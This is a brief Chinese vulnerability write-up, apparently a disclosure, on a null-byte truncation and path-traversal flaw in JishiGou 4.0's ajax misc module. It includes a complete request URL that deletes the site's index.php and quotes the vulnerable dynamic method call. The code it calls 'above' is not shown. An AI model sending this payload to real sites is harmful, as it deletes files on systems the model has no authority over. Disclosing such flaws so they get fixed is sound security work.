问题出在一个自定义函数上,官方好像出了4.5版本没去看是否也是用的这个函数,4.0大概找了下没找到可用包含的,要是4.5也有这个函数,新版本应该有包含漏洞,我就不去深究了,主要是指出问题,修正。
include/function/global.func.php
但是上面的代码忘了GPC的另外一个重要功能,那就是%00的截断会被转义成\0,而上面并没有定义这个功能,所以导致了可截断。
modules/ajax/misc.mod.php
include/function/global.func.php 0x01
include/class/cache/file.class.php
注册一个用户,提交localhost/jishigou/ajax.php?mod=misc&code=refalshstatic&type=../../../../index.php%00
删除主页。
会出现致命错误页面,因为在触发删除函数后,后面调用了OtherLogic类的方法,方法名是有type参数提供的,
$func = 'get'. ucfirst($type).'Statistics';
$ret = jlogic('other')->$func();
虽然可以截断函数调用这个类的其他函数,但是这个类里面没找到利用的。
虽然是致命错误但是前面的删除已经触发了,所以无影响。